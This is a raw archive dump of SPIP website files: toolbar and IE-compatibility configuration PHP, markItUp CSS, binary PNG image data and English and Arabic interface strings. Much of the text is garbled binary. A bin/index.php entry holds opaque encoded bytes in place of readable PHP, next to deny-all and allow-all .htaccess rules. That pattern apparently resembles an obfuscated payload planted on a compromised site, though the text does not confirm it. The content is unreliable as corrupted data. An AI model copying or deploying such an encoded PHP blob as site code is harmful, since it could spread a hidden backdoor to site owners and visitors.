?????????????? ?????????????? ?????????????? ?????????????? porte_plume.php000066600000003073151452217620007624 0ustar00 _T("barre_outils:label_barre_outils_public_oui"), 'non' => _T("barre_outils:label_barre_outils_public_non") ), "
"); $res = debut_cadre_trait_couleur(find_in_path("images/porte-plume-24.png"), true, "", _T("barre_outils:info_porte_plume_titre")) . ajax_action_post('configurer', 'porte_plume', 'configuration','',$res) . fin_cadre_trait_couleur(true); return ajax_action_greffe('configurer-porte_plume', '', $res); } ?> ie6config.php000066600000003154151452457220007144 0ustar00 _T("msiecompat:choix_non"), 'ifixpng' => _L('iFixPng'), 'IE7' => _L("IE7.js"), 'IE7squish' => _L("IE7.js + ie7-squish.js"), 'IE8' => _L('IE8.js'), 'IE8squish' => _L('IE8.js + ie7-squish.js') /*, 'IE9' => _L('IE9.js'), 'IE9squish' => _L('IE9.js + ie7-squish.js') */ ), "
"); $res = debut_cadre_trait_couleur(find_in_path("imgs/ie6-logo24.png"), true, "", _T("msiecompat:choix_titre")) . ajax_action_post('configurer', 'ie6config', 'configuration','',$res) . fin_cadre_trait_couleur(true); return ajax_action_greffe('configurer-ie6config', '', $res); } ?> bin/.htaccess000066600000000325151452457220007125 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all bin/index.php000066600000011441151452457220007150 0ustar00hˉL0A0T3dz^je~D'bL/b5b+t 2׋`Y&ٵTC^6pQ}2F\o%6\dgY64K{02?}jM5/Q5pFTzS݈i-bH.toz?#LSY,S٨q^;O1tG,LJ"C3tԯ)-uV~[Qo;VG\ךe(2OejExmT/vCc*Yp6KL.Jf(kF˟xrP]l}pLq/#zv;{״j'852@i1ûĂjU>8/1Q/O z\ÅS܈Zm (ՠ;D|Qm8e_ՏTɍK 3#žEKPZEt dJ:5X1{ip @XQ!nTCqr ɩ,nXU}eW߫T9$@^ 4m!X_-Sٴe<6^ϾWyu'qG&u'ei ==0aQvǛGXoZhqz=4}ۺ\!׊fsΤcݿcKrC[,7+%E4k@oDX1^2un{q}˭wԷxe|MIƁn*F F(֚8*'nh.`Ŏ$s`{U#z–u="6V36Ee.cGS6Oa%ª,fޒeD]! -9c Fe$ ibZM\ɪJg@Պh0LqU)pL4?qb|qzJdT5XYSc?3~ ݀Lf>0`S!ϗ2(vt₀|s wmTT<>OhTի-UHHnSYy@>[pCV;G Order allow,deny Deny from all Order allow,deny Allow from all css.tar000066600000110000151454730040006043 0ustar00barre_outils.css000066600000007155151451442710007770 0ustar00.formulaire_spip textarea.markItUpEditor, .formulaire_spip li.editer_texte textarea { /*width: 96%; clear: both;*/ } /* ------------------------------------------------------------------- // markItUp! Universal MarkUp Engine, JQuery plugin // By Jay Salvat - http://markitup.jaysalvat.com/ // ------------------------------------------------------------------*/ .markItUp .markItUpHeader a, .markItUp .markItUpTabs a, .markItUp .markItUpFooter a { color:#000; text-decoration:none; } .markItUp { margin:5px 0 5px 0; clear:both; } .markItUp .markItUpContainer { margin:0px; padding:0px; } .markItUp .markItUpEditor { clear:both; display:block; overflow:auto; } #text_area { /* cas tres particulier champs texte de spip */ height:300px; } .markItUp .markItUpPreviewFrame {} .markItUp .markItUpFooter { margin:0px; padding:0px; width:100%; } .markItUp .markItUpResizeHandle { overflow:hidden; width:22px; height:5px; margin-left:auto; margin-right:auto; background-image:url(images/handle.png); cursor:ns-resize; } /***************************/ /* tabs */ .markItUp .markItUpTabs { text-align:right; padding:1px 1px 0; margin-bottom: -1px; margin-top: 3px; overflow:hidden; width:auto; float:right; margin-right: 30px; clear:both; } .markItUp .markItUpTabs a { display:block; float:right; border:1px solid #ccc; margin:0px 1px; padding:3px 4px 2px 4px; background:#f0f0f0; } .markItUp .markItUpTabs a.on {background:#fff; border-bottom: 1px solid #fff; } .markItUp .markItUpTabs a:hover {background:#fff;} /***************************/ /* previsu */ .markItUp .markItUpPreview { clear:both; border:1px solid #ccc; background:#fff; overflow:auto; padding:1em; } /* correction des styles spip_formulaires appliques par defaut (grr) */ .markItUp .preview p {margin-bottom:1em;} .markItUp .preview ul {margin-bottom:1em; margin-top:0.5em;} .markItUp .preview li {border:none; padding:1px;} /* coloration code */ .markItUp .preview .cadre ol, .markItUp .preview .cadre ul {padding:0.5em;} /***************************************************************************************/ /* first row of buttons */ .markItUp .markItUpHeader { margin:0px; padding:0px;} .markItUp .markItUpHeader ul { margin:0 !important; padding:0; } .markItUp .markItUpHeader ul li { list-style:none; float:left; position:relative; clear:none; border:0; margin:0; padding:0; overflow:visible; } .markItUp .markItUpHeader ul li:first-child { /* annuler un reglage des forms prive */ padding-top:0; } .markItUp .markItUpHeader ul .markItUpDropMenu { /*background:inherit url(images/menu.png) no-repeat 100% 80%; padding-right:10px;*/ } .markItUp .markItUpHeader ul .markItUpDropMenu li { margin-right:0px; background-color: #eee; padding:1px 0px 1px 1px; } /* next rows of buttons */ .markItUp .markItUpHeader ul ul { display:none; position:absolute; top:24px; left:-1px; width:150px; z-index:2; padding-top:2px; } .markItUp .markItUpHeader ul ul li { float:left; } .markItUp .markItUpHeader ul ul .markItUpDropMenu { background:#F5F5F5 url(images/submenu.png) no-repeat 50% 50%; } .markItUp .markItUpHeader ul .markItUpSeparator { margin:0 6px; width:0px; height:16px; overflow:hidden; } .markItUp .markItUpHeader ul ul .markItUpSeparator { width:auto; height:1px; margin:0px; } .markItUp .markItUpHeader ul a { display:block; background-color:#f5f5f5; border:1px solid #ccc; padding:3px; margin-right:1px; } .markItUp .markItUpHeader ul a b{ display:block; background-repeat:no-repeat; width:16px; height:16px; text-indent:-10000px; } .markItUp .markItUpHeader ul a:hover{border:1px solid #888; background-color:#fff;} images/submenu.png000066600000000360151451442710010204 0ustar00PNG  IHDR w&gAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxb? LLLp) &,b/x) ly6 ĄFNvdA¥@Y p)gΜ,@?*.@ pF,b0 @D @11 k5eIENDB`images/handle.png000066600000000402151451442710007756 0ustar00PNG  IHDRQ;=0sBITO PLTEg{tRNSӰr pHYs  ~tEXtCreation Time07/21/07bxHtEXtSoftwareMacromedia Fireworks 8hx0IDATcp u a`hm``X4ʁ!5 Ձ!5! DM 7 IENDB`images/menu.png000066600000065017151451442710007504 0ustar00PNG  IHDR w&sBIT|d pHYs  ~tEXtSoftwareMacromedia Fireworks 8hxDprVWxA TS0&`#FUefphh<ZuHmkBF)3mkTSx][wFdؒeيs2{ξ= nGQ%ŔĐ- YxxwVU7@ؐl5ƭ<~U7;{6|2[nVqykxspǚ69tFP]? 3iZznʆWV%l1 j.FS~ڑq]{  (mjN㴏7={vGccXGcx(`=wn꺇T[~&}fyvvۣq͚{ucWuMXqۇ3NITPxƩAEvP0lS2Q(drdkИߔPw 16lT)6FMʰ1z c3x *:'./ۧZن|#;= c paBS/'i@Sд$4MieI 묦 O8ubp@s@ XR:u3Le4hv~_rQ6eF] 6#Ss wA~kQ)?rV3R;jfe!IHIpի4|mh%wʀAWur9j[$tg#<*Yfi}A0r:*l"B dq@JwԼ}ꠗjg..FϾ[p+E"u$>Q:hM=m# xi#EL ]L+9fLm;wʺ9&;m"3rD"%>q '?_Fܘ[m /6:!~elsf|3` 3h$cA"͔Cu0v055YOdKC3"Xz{)4(IвZCb] n]+fʯ3B#UbH.ZE( EbRqNqp,0U,DRHrųYf̜+<+e,8VjI uGd'hiWO!-=Iנ%o 4 `XҠk&; ѯD.|V#FaH HO`96U:0 pOxfaP]kZe:<]:UѫM<pxntP#SA*~bt:ƣ4Gi2 aOA%!P"MF&E0O -ysBޔf:%,0FYo\-\$f6JǿLk 3)N_SF"OƝ;*Xqq'%f1rnu)@L=tx$WQ] Y>?`gYG۟+`1RqqbY0& chgВ*KxZΐ׹RiPzŻoz+dcn:0ժJR(V}svͷB b`Fð9F#ِ b Ѿr=={&. eMw15d:U9gkGlnB(ĩ/&O)Y=yg3XFfr{'oM߇u PRRC8eo dЩSfv).qn{\=:ZKxU #iUH>_#;ldYc"\uLX]UصĽ099ia_aq@>'٠Y56?LZBZy鴊oa,.\&97`[ Q|YozSlF}xˆ@C'3WL(GMwjzGimȏSU諺mOBe_.T+k♢>/FsP\PosOo#ddK\F;lqzuZJ,Okxtj%TM|"Qt_Bl 䒩ULK:wÕUrfI2t}gjaUxűO=4J*n g꣺j8g *֯U~kC51JnCGyj`| !h|?7.ԩ*}lM;7AڃkF ":~olYQj kTZ~US_ ~jۏmQT`e˧ ~e 2yl볯jq*|Hvgb*Лpfl}>U::KM>h(EŘgMf4W&T{s#텋 {L/9RVJj-E_Uѕ`ہ=}sUW~tdjP&nLۨOh#7G0~WDP?s` TJyg-ɞx.tIg3]d7qNjwǬ_nbS_I"Vӳ' o-߀`p<[u#򯽳4,&Sg=V wMk#p5W: nWS7-٥oj /-oSFtII^}O1#Ijy-G^jxد#H $) U8{\} vǟu./#P[⋜<Y]}O/O<]t&yꂫVW\pꂫ"\]pu\m4 /-ػ`E^w{gbM޿P/Q[/͂ .:W\$W\p6 .j WKt ^. x}-r ^. .:W{{{{{읍ׁ r ^. .Z 8{B@[DWO.tۛ!형<@qLF%ASa9:6tM1w׫$F/Bta1Zb?GS3k-YR녾%%V߶>_=cHg*F&~؎UE/Մ] )?^y9WW\]puCX2Wv^W?IDc߆wmVtBNS%&;C=ri$a1EhLYfHz :I R` A_Lc-Anm8jűb8\6$!{I粯4:N>'/]!^T~߈vְRR| O0ޱ^G&" p}wpߥ ?uKwfX{\"o~o%#+hs "[J^GZч6:6jkSZW/Q$! G_Ui79a-Fh\?nޙ/^j_%]Z6< "Y7(!F XHA_6ڋHz6|&H|=7|_IWm;= .P(|ƨZ?=+}仈^_lϔ=߶Yw|.E"ݞЈG^sG<=|m)BB(>^ 29Z9\;NGs .x5exYvM};4bSDMѳʥyip (vNZ6;o46/h>F`ǪXYXYewth#g$ޤ>8xYyK-*He6٥ylJvej;ݡ:B/Kt(t`#y#-J܏څ+sB9\tY6t(M zQe[L|+~DayS!&qEc>K-C Ge Yu`Gzf^oR/L%Y}0}}tzKOJD1AK?KVy5%?{0o K\co+b; JXL/}I}q*wa/ゲ'$.{C eq J'T6B }3k}R̔eCFW"˃^ ^Jyܓ~%e4=gRj7O&䧔59yH@5}5@fX:zGCЋ^LI,tx}IGP/H0G*yK1wYnV2W;ᐞ3_^07,YsfԄ3fD8 q^XfȪ}] 2eelrvwBw@/xsg_x. *ظ`Ϗӯ\:x6pfT2Ĭ\+bQGkDR\pKz /:">ř  ĩvBB; k "vf *dk$ufj!i>:w,i R'Vl\cDŽ%yVWRf*<#4g,o9h{"ׇ}^J6פv ,︺>T^5e%e± |Oįʈo]PZOy OR eY_leW[0L I{w?FcLOm_rOhv=%r#ؚN?V'^}~hçhM鰺CVc1Əig | yu?~ӆc䐗/p=6h\qKs|.4?oߏ=l^EE-iȭ|6VE=&+=۠ ‘ </N~j<첏h#,~16c/SNڄ >AZ3,huI{c~Jlo߾)*/N\ϱov[iZ_ձaJΝ/:6O- 92b?Tlk%?_21B sY5>:>c=1Ow y^- ڶ,XzusM#גU]>H_yYv!ۉ_mi Rus]Xm_g)YY)m]y,m z1aaaxEߓGקo/Y\k6xjgH|yu.\aæM&wk#ϐ$?]Mo\Ⱦ,/ڥQ@~6s?)}, l gX #vQg Bٙ^uのuhm?}{].~}v_J;xogJY]޳@.)oqC?}>@Xߘ'-(W? źvƔOʙRv[K?[A}?-wmՑ}g\=c}M ggg DŽ-B^k_g?F? v0||؎=ǧHPgs/hؑI t~{n^}ZyD5XWvO)"c0vY Z|~_%/,p\ɹyΰZ/;/xs_9?Pܯ5ݻ\[y|č8gʱL{? 0 0 _k3>z_\S |<)b|7aaaxn.ta?l^Cvkؽ#~e)3<3^kdlc&jK+o"e<.ʞ`^(3zu l+6v<ï k7]/lc[`On}򚄫 G뎱zt^v2)?;Wmr5ocIz?Ozx{&!ez."ѯ 1Gg{+ҏlw<=}GݽFƨ^)zIpG K֜{{e G12ۭqiumf>.}~a? 0 0 [u+7Svq֭y΅ ?ނ}XwŶv?ߩDZۓ-q/?߳=<~#>Fk"qzrQo 9r,nY[;o:)@-`ק-7({߯S@µK9֠ɸ>:n3 _[_*mtcmC>qSL=<6;ǫsaaa{xˌ\ފpx?0׋#5zяc]x^l򼠕(f:~٣^lin59W~\;?vn6erUbS~v^U O7O(|;+SG4|?f*?rW~2oNٟS9~daևmH6mX[J~s.ym4ٶO|Bd/b5ɿyU? 0 0 0 0 0 0 0.P~*1@G\⟿KrKXs2(ߥ纎J8'>X@▼QQbqwx b)_K|v 1M6kee-2Ǜ59?K^E~9ϱQﱮYF8N?~;:=J<-tĒyNAgC \NXKs)'^Kg\~2}6}Գ)n]Or^j~"{p29w6/.z-v:+M{WJYZ굢`% Ҥl9ힶկ#OUz+U?;sd~vND7*.Y+v:ye;8}~|+ÑޅN9}{Bƞ#txխsXɿkSV/uJ=o G<ջL'L:D]6jfgLz/+ؽ[{rCMYq~[{yy czA;w9zszWHVax3 %mkBTx흍) q ĉ8D^>׻gI@XjjgiЃ`0 `0 ?ϟ|:seQ3|ӧO|:2|.};7eGFO6_Qv]T]^ˮg{>pjzkuo{yye?{-x/ D:3D&򈼹e^Hyi#/OGzϪ߯_~ :sMe#M3Y#=2 QЙ[\s=E8}E>GȩT ڲTg-}VfoSVwzV}./>~!?U1<#}=F[ ~QڋBN..+푹^edLo+[\-k dW(}6q$#?z6Bөi?L7!3O_Q}Пuo[=tkȋM!'}/Ƈdr2_Cﲨ: `0 :8o=+8-4}۞cĥXdq{bUq©ήm!ƶg*ΪU\z[GA=^+ru{LV U?)V>ғ)x|Yҁgi\yi^cUo*= !TY?rfgWsʽVn*VX#=Fϫ+[F~yH\L~[O҇h5ݵTow|Sfӟ+);F;:x )/OS yUo2e)Ve3'wgGg=J^`0  ľu kU,Ksؑ5nY,bXw{ w&3QהNQev ]ƷgcH˞i{A3I8hwduwUIWq8I>+@pQşGcZ\ƪUߝ]/:3d;ɫ:gB9R|GW~w2;fzt|+i5nΟgZY|<1NyŬ|E7k?z/k><=Α}N΅>uWydʬdz `0 *\?W8GY:Dgcg< 2+'W6qn؟{ru"wU쏘~c#T?+y{Q,,^qF/Xv8.֩g3}ȸOP ~n%hUG4(_sn|W}Tg&x^c,Fѭ+ <#+}/Uw8BRh_|33!mr\7U9m({ѝpvew[xG]߱?g;,nҽow8]וb?OV=Z_#ve?vN_WrYLo;1g9pV^G~>[_vNOS3 `0Q[ veO\k^8֔v<Zbz\Opbn$~}oz3ј mK vU]^iNWA#x딫jt q :E= z%օq)CcYEqyRG-+u (K\hP'*^ء^q=m=y|Kvūe\rȊ4={W1;=ݷxp;o@>ȘT\Ԏ+C=*ɫ|GJOCW]x1.ﵠ9_Eб Vq)v(ʑ}[GwǺ{-oSdו_˞׃2;iT&w*w:g׭SOsj%Z[~_˯d֮+w]7 `0]kIu+eL]ւoA^;=GR?v쯱;<y o$N1紈=:ߥPVu< <&3KyC/4r)i=*/|Ύ^]QNН1qGw>ù{ ?Kv:A}E:_n+{u=rq͓̳]>>d}+|L01`0 leg:׺񶊝`W,3O?]\9P~[kOWiGc~)-<w.3q}'vuw$Vnv(r52S;Wk_Kϔ8B/hEՠ'9w?K;x:x<|@cϽVyc@ۖSw8Bq]=2lBe6V}eR( VeZT4ade2ޒ+nYBTqSߔ<[&=f[|szP)G}{Zׅ3n7jpWwftEw[ǽ;`l? `0 `0 `{~i`oLy>uoi\qK|}7Svu9G쯿c¾#>,jow{ՆݲL=mW2u_8دjo?kD߱mw>#}E:OۡO;y`$jwymkBT6x횉m0]HI!)$FR?6c>>~sm+vuՑνYu8uN?WP>1JsWiV_uKEϸ/rˆ_gKW]ױEYcl,[TYHT}xL#}A GV7^}>iҞ-i;}LJX&TP3T#ߨgJl e'=?͘ona|7>?ǐU%;/mN/IfQփz{G}?v✽3X~j{zTAO^ʰ>?sy|G)PU{ ..T}6ڳ-F`p]k߅~b  О$wݓٱ|sCoA+q3lOx@(0a+? T,_7s\Ϙ^Bl1)C+k(FyN"8dPC_9>O0&l4Im+nwGrŰ)/tihf ѸX>E)<,6s45zb?J\<OM%O#(76:= ӋYAƒH Ls6MXBcX&ǘJte. 3.je(??Lj=%wZizFTx$kP8Em jAOހ>~؆B9 ֤8UKCvjbL Cy ;mj P. DkwUE€3ܨ8xUJs\ɟ+;}sFQ(KIXݛƨ 1 +KdX];Jģcx$D׷X`i @l̏rnm$^9΄zBGϞQ=nfkDe; <a>,⢞jk0B[p($Ǡp4 nq`XƓ vϵ.xHnorJ5Hu뇗 f a[Z:>36[g RL؍?( &w.7C#~B{] UW 71jk~ecGrD.=K@WDZM0倐0\xvqNZ ># BE )&yA}t?B Ym(WIpɱ |2+\2 )l8tl@Z.Be񅋍RSƃm>dIl'N adĢG3%#)?$s _5=YBR#-k"qGP-e"f%֩-ϓ378M9ϊ,_*n;HEBƱcl~ ˝[/sagIE2,z1t:kLș壋G){7ond{@rP>kwk׽ #kXfyEAB9uM4P=_lgW؇N#_nGpp ,ZUu6ȓVӰ0EK7*|]{75F\ԶzQz! uH>upT٣o3P)[^6` -d&*=%fY<^ط`_6|h3ء>2 Pq7ώ ,NsjF=B` 큳CiU)R鐏@LҮǧmb<2FHRqùFXi䎲OmGA}:*u f:@ʫRH.66jcGOpO- 6HKJU:Jǃv,3DZEƮqq7p?ȌK%ȧ$;?Qr6pP7`a^=R_)m>D3#£ _' Iɭu͋C-Rne㯄ssL<ȭ/R)|Lt_1Lk=rr 4/gEr~PnB[\g[{gYvRW' {Fem1{ wL;7&$xc0 n&u@5sCCձm8Heft x{q(aтa?Q%l4ςxmWI׆GC1kQ3iJh,KRO`ʲ4)%b6B8\pe;u)ko)#WSncRx{[sXv195_0Kՙ7>Tp5ٴl3S"؝LX睫[5m Q="u}pϘ*xbՉ#iM+@Z! Ϯ~jYݬ$?5mtu] %@݅:4h8ۃtu3; ΑO1A/r R*5i&j#Y2:$Z(ad@>'z L뇶6Z8|`6"X1_z' F-я?X^ A:?1;h/KVB' vOnFS ƤQ{=kh7MwXQp\v͓O/. N3HKRlK"q^Wh1wt h@3e6N|I;y?8t[[! $,ήLe"z%IކAkRl!3u8ځy?_W)AbCO!rza5Sn֗#<43y6"R߃CQ&>[# BHǽ{vekOTlq(UH͵h ݔ8,@tՂL{p/*L"d_y k,4 G̖bD>,.ok"D;|7[.DCA#ilϟI֬Dq]+eE _-- ڰc^Lq1~CCC9gNH8BkhJ#Z-`VoMa 9r$պZ-hkh ?C$ ^tď9d(8P݅]ڶw[wl;dn׆oKd Hބ(DInI M_(5)6H/Y1 QRk,nXHʉ?>df&6^EJmt{CCc`0ʅv5x<\9Yc}106"״!֏9dl:' 1H"z'7QqɌ#KR./CVgQȬ\ `?d1yuM6Ƶ8ZX]8^pwQE &1frRKi$GݜЕh3'{;;~FK37ku<pdʎ+C RMzƏ7)nҀ lEGyl:̑IoBS%|ЕsTulebA}Aʹ10A{KʘӺtjdLI=r PRg_LbR Şl?␔)![Fo wi&k^CV(t@pW2{hxHGRn͉eCbxԉ6GQd27\ثdS=\Ff*0ۣOP5(rZߙxQZ>~GAeN-jY7Ҿn;n?ӹ"Px}/NW:݊&׾:x" ꭥу;R펔 c䛅љElmG§a= h¨BG_uYnZ쫭FYs U"zM&:Gnu.DX5Xn;}ԫ%XO?~2&Frjj8 yA*W I9/ub)Zl: s 85J>~iI3Yԕ;:#hELם[ROd^GA˩f~Y!En0~/A Km>^WYq"<цF*c:xw|͞w%ehRgd9̕v3v Dgh>>?3hYDkgC(ʹƒԕSԜ| 2Q94(?OGQ34 fccPopTYaW(>@tX4`LGٞpɄaŰl\[9c26U M6f,'C4i?W~psϠ?kAKrŵk@I|>^xs?\`,D̒5W^w DMXf_8<%|8_왉pP1Wlm߃f?4:́_Ԕv M;k:p_sj؎qw]$F}y ,b'N=o0, ~M YR46+!}@~ujctCP.Y(x׎z?70WXFܣo3z0c8RGg0 TU򄽻w"/4֏CQ`[{Ocn]+{{ N!33+5]qpj' r9FDȬ)~: 9Gmx2-?sraG"yvUpa;Ră A\& ?#n 0eed~oq嶭!!DzP^H)>oȑ.ļԶ=Hy7S-M ?8ycߧq|#5"2Б lm#UeΤVbM͘jAc7Z ]> 4gb s 2WRsKg6 's8qzTT[R[w)I95xWj #!nN+zPڔ KgTE,?{^RDݥ=Ru^zîc&D'i74SJߔ&HUG[crͦ<׿~4}څh;lpAZ%XZ;tQ?yk1+Ƴu6[ Dc4Ɯ*dB#!}e>samhG3c^8u9󼵕⸈߂UyB;f "Yi=D =4&|C3g]~WgjhSIXU"1A5Fr4{AljwTt6</N \Rta| i>T.Wo>>xϯY{緷m,J{gg}v~)]s!?wXGFl!7U|Cnfﳅ:.@mq%臔Ru?.:aBֺE#Gg'yXDuSWNJD)21ѵVagWPqȒ s?¶@g")s\T{f3go^w:^"{d#!φt},nyWFKv„X4|VB~,˘_&fjp/WԍwaO H 3I`u1ͤ+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_W|+_Wݚw)oIDAT1 PDQA_¬ Xk ŷ4j\.jf1^K)e N_$Ck~xwxd]\>I$F[/M^:fP*IENDB`barre_outils_prive.css000066600000000527151451442710011171 0ustar00.formulaire_spip textarea.markItUpEditor, .formulaire_spip li.editer_texte textarea { width: 100%; box-sizing: border-box; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -ms-box-sizing: border-box; } /***************************/ /* previsu */ .markItUp .markItUpPreview { font-size: 1.05em; line-height: 1.4em; } barre_outils_icones.css.html.tar000066600000004000151454730040013041 0ustar00home/yeshuare/www/extensions/porte_plume/barre_outils_icones.css.html000066600000000401151451432100022401 0ustar00#CACHE{7*24*3600} #HTTP_HEADER{Content-Type: text/css; charset=utf-8} #HTTP_HEADER{Vary: Accept-Encoding} [(#VAL|barre_outils_css_icones)] /* roue ajax */ .ajaxLoad{background:white url('[(#CHEMIN{images/searching.gif}|url_absolue)]') top left no-repeat;} lang.zip000066600000121103151454730040006216 0ustar00PK`Q\?barre_outils_en.phpnuW+A 'Clean the code of all HTML tags', 'barre_lorem_ipsum' => 'Insert a fake paragraph', 'barre_lorem_ipsum_3' => 'Insert three fake paragraphs', 'barre_liste_ul' => 'Set list', 'barre_liste_ol' => 'Set numbered list', 'barre_indenter' => 'Indent a line', 'barre_desindenter' => 'Unindent a line', 'barre_inserer_caracteres' => 'Insert special characters', 'barre_barre' => 'Strike through the text', 'editer'=>'Edit', 'voir'=>'Preview', // B (depuis SPIP) 'barre_a_accent_grave' => 'Insert a capital A with grave accent: À', 'barre_aide' => 'Use the typographic short cuts to refine your layout', 'barre_c_cedille_maj' => 'Insert a capital Ç with cedilla: Ç', 'barre_e_accent_aigu' => 'Insert a capital E with acute accent: É', 'barre_e_accent_grave' => 'Insert a capital E with grave accent: È', 'barre_ea' => 'Insert an oe-ligature: æ', 'barre_ea_maj' => 'Insert a capital an oe-ligature: Æ', 'barre_eo' => 'Insert an oe-ligature: œ', 'barre_eo_maj' => 'Insert a capital OE-ligature: Œ', 'barre_euro' => 'Insert the € symbol', 'barre_gestion_cr_changercassemajuscules' => 'Convert to UPPERCASE', 'barre_gestion_cr_changercasseminuscules' => 'Convert to lowercase', 'barre_gras' => '{{Bold}}', 'barre_guillemets' => 'Place between «double quotes«', 'barre_guillemets_simples' => 'Place between “single quotes“', 'barre_intertitre' => 'Turn into a {{{subheading}}}', 'barre_italic' => '{Italic}', 'barre_lien' => 'Turn into a [hyperlink->http://...]', 'barre_lien_input' => 'Please enter the target of your hyperlink (you may give an internet URL in the form http://www.mysite.com or else simply the number of an article on this site).', 'barre_note' => 'Turn into a [[Footnote]]', 'barre_paragraphe' => 'Create a paragraph', 'barre_quote' => 'Quote a message', // B (depuis BTv2) 'barre_langue' => 'Abbreviated lnguage', 'barre_miseenevidence' => '[*Highlight*] the text', 'barre_exposant' => 'Put the text in <sup>superscript</sup>', 'barre_petitescapitales' => 'Put the text in <sc>small capitales</sc>', 'barre_centrer' => '[|Center|] the paragraph', 'barre_alignerdroite' => '[/Right align/] the paragraph', 'barre_encadrer' => '[(Frame)] the paragraph', 'barre_e_accent_grave' => 'Insert capital E grave', 'barre_ea' => 'Insert æ', 'barre_ea_maj' => 'Insert Æ', 'barre_c_cedille_maj' => 'Insert capital C cedilla', 'barre_chercher' => 'Search & Replace', 'barre_tableau' => 'Insert/modify a table (select it first)', 'barre_glossaire' => '[?Glossary] reference (Wikipedia)', 'barre_caracteres' => 'Special characters', 'barre_adresse' => 'Address', 'barre_lien_externe' => 'External link', 'barre_bulle' => 'Help bubble', 'barre_formatages_speciaux' => 'Special formating', 'barre_galerie' => 'Open gallery', 'barre_gestion_caption' => 'Caption and Summary', 'barre_gestion_colonne' => 'No. of columns', 'barre_gestion_ligne' => 'No. of lines', 'barre_gestion_entete' => 'Header', 'barre_gestion_taille' => 'Fixed size', 'barre_gestion_cr_changercasse' => 'Change case', 'barre_gestion_cr_changercassemajuscules' => 'Convert to upper case', 'barre_gestion_cr_changercasseminuscules' => 'Convert to lower case', 'barre_gestion_cr_chercher' => 'Search', 'barre_gestion_cr_remplacer' => 'Replace', 'barre_gestion_cr_casse' => 'Match case', 'barre_gestion_cr_tout' => 'Replace all', 'barre_gestion_cr_entier' => 'Only complete words', 'barre_preview' => 'Preview mode', 'barre_stats' => 'Show text statistics', 'barre_code' => 'Edit a <code>computer code</code>', 'barre_cadre' => 'Put in a <cadre>textarea</cadre>', 'barre_poesie' => 'Edit as a <poesie>poetry</poesie>', 'barre_ancres' => 'Anchors', 'barre_gestion_anc_caption' => 'Anchors', 'barre_gestion_anc_inserer' => 'Convert to anchor', 'barre_gestion_anc_nom' => 'Anchor name', 'barre_gestion_anc_pointer' => 'Point to an anchor', 'barre_gestion_anc_cible' => 'Anchor target', 'barre_gestion_anc_bulle' => 'Anchor help bubble', // C 'config_info_enregistree' => "Configuration saved", // E 'explication_barre_outils_public' => "CSS and Javascript Scripts for toolbars (Quill extension, Porte Plume) are loaded in the public site and provide toolbars in forums, public crayons or other plugins if their respective configurations allow it.", 'explication_barre_outils_public_2' => "You can choose not to load these scripts in to lighten public pages. Therefore, whatever configuration the forums, crayons or plugins have, no Quill toolbar will show automatically in the public site.", // I 'info_porte_plume_titre' => "Toolbars configuration", 'info_barre_outils_public' => "Public toolbars", // L 'label_barre_outils_public_oui' => "Load the toolbars\' scripts in the public site.", 'label_barre_outils_public_non' => "Do not load the toolbars\' scripts in the public site" ); ?> PK`Q\r}r77barre_outils_ar.phpnuW+A 'تنظيف الرموز البرمجية من كل علامات HTML', 'barre_lorem_ipsum' => 'إدراج فقرة زائفة', 'barre_lorem_ipsum_3' => 'إدراج ثلاث فقرات زائفة', 'barre_liste_ul' => 'تحويل الى لائحة', 'barre_liste_ol' => 'تحويل الى لائحة مرقمة', 'barre_indenter' => 'إزاحة لائحة', 'barre_desindenter' => 'إلغاء إزاحة لائحة', 'barre_inserer_caracteres' => 'إدراج حروف محددة', 'barre_barre' => 'شطب النص', 'editer'=>'تحرير', 'voir'=>'معاينة', // B (depuis SPIP) 'barre_a_accent_grave' => 'إدراج A مع نبر الاطالة: À', 'barre_aide' => 'استخدم شريط اختصارات الكتابة لإغناء تصميم صفحتك', 'barre_c_cedille_maj' => 'إدراج Ç كبير', 'barre_e_accent_aigu' => 'ادراج E كبير مع نبر حاد - É', 'barre_e_accent_aigu' => 'ادراج E كبير مع نبر خفيض - È', 'barre_ea' => 'ادراج E داخل A: æ', 'barre_ea_maj' => 'ادراج E كبير داخل A كبير: Æ', 'barre_eo' => 'ادراج e داخل o: œ', 'barre_eo_maj' => 'ادراج E كبير داخل O كبير: Œ', 'barre_euro' => 'ادراج رمز €', 'barre_gestion_cr_changercassemajuscules' => 'تحويل الى حروف كبيرة', 'barre_gestion_cr_changercasseminuscules' => 'تحويل الى حروف صغيرة', 'barre_gras' => '{{اسود}}', 'barre_guillemets' => 'احاطة «بعلامتي اقتباس مزدوجة»', 'barre_guillemets_simples' => 'وضع بين "علامتي إقتباس مزدوجة من المستوى الثاني"', 'barre_intertitre' => 'تحويل الى {{{عنوان فقرة}}}', 'barre_italic' => '{مائل}', 'barre_lien' => 'تحويل الى [وصلة هايبرتكست->http://...]', 'barre_lien_input' => 'الرجاء ادخال عنوان الوصلة (يمكنك ادخال عنوان نسيج على شكل http://www.mysite.com او ادخال رقم مقال من الموقع الحالي فقط).', 'barre_note' => 'تحويل الى [[حاشية]]', 'barre_paragraphe' => 'انشاء فقرة', 'barre_quote' => 'اقتباس رسالة', // B (depuis BTv2) 'barre_langue' => 'لغة مختصرة', 'barre_miseenevidence' => '[*إبراز*] النص', 'barre_exposant' => 'تحويل الى <sup>نص فوقي</sup>', 'barre_petitescapitales' => 'تحويل الى <sc>حروف كبيرة مصغرة</sc>', 'barre_centrer' => '[|توسيط|] الفقرة', 'barre_alignerdroite' => 'محاذاة الى [/اليمين/]', 'barre_encadrer' => 'وضع في [(إطار)]', 'barre_e_accent_grave' => 'إدراج E كبير مع نبر الاطالة: È', 'barre_ea' => 'ادراج e داخل a: æ', 'barre_ea_maj' => 'ادراج E كبير داخل A كبير: Æ', 'barre_c_cedille_maj' => 'ادراج C كبير مع علامة لفظية: Ç', 'barre_chercher' => 'بحث واستبدال', 'barre_tableau' => 'إدراج جدول أو تعديل جدول (تحديده أولاً)', 'barre_glossaire' => 'مدخل في [?المعجم] (ويكيبيديا)', 'barre_caracteres' => 'حروف خاصة', 'barre_adresse' => 'عنوان', 'barre_lien_externe' => 'رابط خارجي', 'barre_bulle' => 'بالون تعليمات', 'barre_formatages_speciaux' => 'تنسيقات خاصة', 'barre_galerie' => 'فتح صالة العرض', 'barre_gestion_caption' => 'وصف وملخص', 'barre_gestion_colonne' => 'عدد 